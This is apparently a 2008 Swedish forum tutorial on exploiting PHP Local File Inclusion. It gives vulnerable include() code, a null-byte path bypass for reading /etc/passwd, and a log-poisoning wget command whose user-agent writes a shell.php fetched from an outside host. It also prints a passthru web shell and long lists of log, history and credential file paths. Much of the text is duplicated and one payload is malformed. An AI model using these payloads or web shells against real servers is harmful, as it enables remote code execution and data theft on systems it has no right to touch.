2008-07-31, 17:08
#1
På efterfrågan och på grund av att LFIs på senare tid börjat dyka upp mer och mer skrivs nu denna guide. Guidens syfte är att genom demonstrationer och exempel redovisa hur en LFI fungerar i praktiken.
Du är
LFI (Local File Inclusion) är väldigt lik sitt syskon RFI (Remote File Inclusion). Skillnaden på dem är simpel: LFI möjliggör det att inkludera lokala filer på en maskin medan en RFI möjliggör det att inkludera externa filer (dinsida.se/0nd.php).
Hur uppstår och utnyttjas en LFI?
LFIs uppstår, som vanligt, på grund av fel i en applikation. Nedan följer ett exempel på ett script som är sårbart för LFI:
För att inkludera ./nyheter.php skulle man alltså anropa scriptet genom sida.php?page=nyheter.php. Ponera nu att parametern "page" får värdet "/etc/passwd". Resultatet är självklart. En fallgrop många stöter på är när sida.php istället anropar enligt $page.php (sida.php?page=nyheter(.php)):
En lösning till att kringgå detta hinder och inkludera en fil som inte avslutas med .php är att lägga till ett nullbyte efter efterfrågat filnamn. Detta fungerar då nullbytes agerar string terminator och därav kommer allt efter nullbyten ignoreras. Med nullbyte: sida.php?page=/etc/passwd%00.
Omvandla en LFI till en RFI
Eftersom ett hål är ganska meningslöst om det inte utnyttjas vill vi naturligtvis omvandla detta hål till en RFI (eller bättre). Vi hoppar snabbt ut ur den trånga lådan vi befinner oss i för att tänka till en stund och kommer på att webbservrar trivs jättebra med att föra loggar över allt som händer. Om vi kan påverka informationen som skrivs till en logg kan vi naturligtvis inkludera den och få den att exekveras som PHP. Metoden kallas för log poisoning och fungerar inte bara inom webbsammanhang.
Vi vet att webbservern lagrar information om vår aktivitet. Ett sätt att mata in vad vi vill vore naturligtvis att ändra vår efterfrågan: vår user-agent. Denna metod kommer naturligtvis endast fungera om loggarna vi kan inkludera via vår LFI även lagrar vår user-agent.
För att modifiera user-agent skulle vi kunna knacka ihop ett stycke kod med cpan's om vi så skulle. Jag tänker snarare visa en annan metod och slipper därav uppfinna hjulet:
När vi nu inkluderar /var/log/apache/access_log kommer koden från vår user-agent exekveras och vips har vi trollat fram shell.php med innehållet ur dinsida.se/0nd.txt, t.ex.
Default location för webbserverloggar
Med reservation för typos, Ödlan har sömnsvårigheter. Kom ihåg: att deface'a utan syfte för att imponera på vänner är aldrig tufft.
Du är
- Bekant med PHP och hur UNIX fungerarVad är LFI?
- Medveten om att detta är en informativ guide (läs: ingen uppmuntran)
LFI (Local File Inclusion) är väldigt lik sitt syskon RFI (Remote File Inclusion). Skillnaden på dem är simpel: LFI möjliggör det att inkludera lokala filer på en maskin medan en RFI möjliggör det att inkludera externa filer (dinsida.se/0nd.php).
Hur uppstår och utnyttjas en LFI?
LFIs uppstår, som vanligt, på grund av fel i en applikation. Nedan följer ett exempel på ett script som är sårbart för LFI:
Kod:
<?php
include($_GET['page']);
?>
För att inkludera ./nyheter.php skulle man alltså anropa scriptet genom sida.php?page=nyheter.php. Ponera nu att parametern "page" får värdet "/etc/passwd". Resultatet är självklart. En fallgrop många stöter på är när sida.php istället anropar enligt $page.php (sida.php?page=nyheter(.php)):
Kod:
<?php
include($_GET['page'].”.php”);
?>
En lösning till att kringgå detta hinder och inkludera en fil som inte avslutas med .php är att lägga till ett nullbyte efter efterfrågat filnamn. Detta fungerar då nullbytes agerar string terminator och därav kommer allt efter nullbyten ignoreras. Med nullbyte: sida.php?page=/etc/passwd%00.
Omvandla en LFI till en RFI
Eftersom ett hål är ganska meningslöst om det inte utnyttjas vill vi naturligtvis omvandla detta hål till en RFI (eller bättre). Vi hoppar snabbt ut ur den trånga lådan vi befinner oss i för att tänka till en stund och kommer på att webbservrar trivs jättebra med att föra loggar över allt som händer. Om vi kan påverka informationen som skrivs till en logg kan vi naturligtvis inkludera den och få den att exekveras som PHP. Metoden kallas för log poisoning och fungerar inte bara inom webbsammanhang.
Vi vet att webbservern lagrar information om vår aktivitet. Ett sätt att mata in vad vi vill vore naturligtvis att ändra vår efterfrågan: vår user-agent. Denna metod kommer naturligtvis endast fungera om loggarna vi kan inkludera via vår LFI även lagrar vår user-agent.
För att modifiera user-agent skulle vi kunna knacka ihop ett stycke kod med cpan's om vi så skulle. Jag tänker snarare visa en annan metod och slipper därav uppfinna hjulet:
Kod:
$ wget --user-agent="<?php fwrite(fopen('shell.php','w'); file_get_contents('http://www.dinsida.se/0nd.txt')); ?>" sida.php?page=/var/log/apache/access_log%00
När vi nu inkluderar /var/log/apache/access_log kommer koden från vår user-agent exekveras och vips har vi trollat fram shell.php med innehållet ur dinsida.se/0nd.txt, t.ex.
Kod:
<?php
passthru($_GET['h4x']);
?>
Default location för webbserverloggar
IRIX:
/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix
AIX:
/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog
SunOS:
/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log
Linux:
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
...
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
...
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
...
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
...
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
Windows
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log
/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix
AIX:
/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog
SunOS:
/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log
Linux:
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
...
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
...
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
...
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
...
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
Windows
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log
Med reservation för typos, Ödlan har sömnsvårigheter. Kom ihåg: att deface'a utan syfte för att imponera på vänner är aldrig tufft.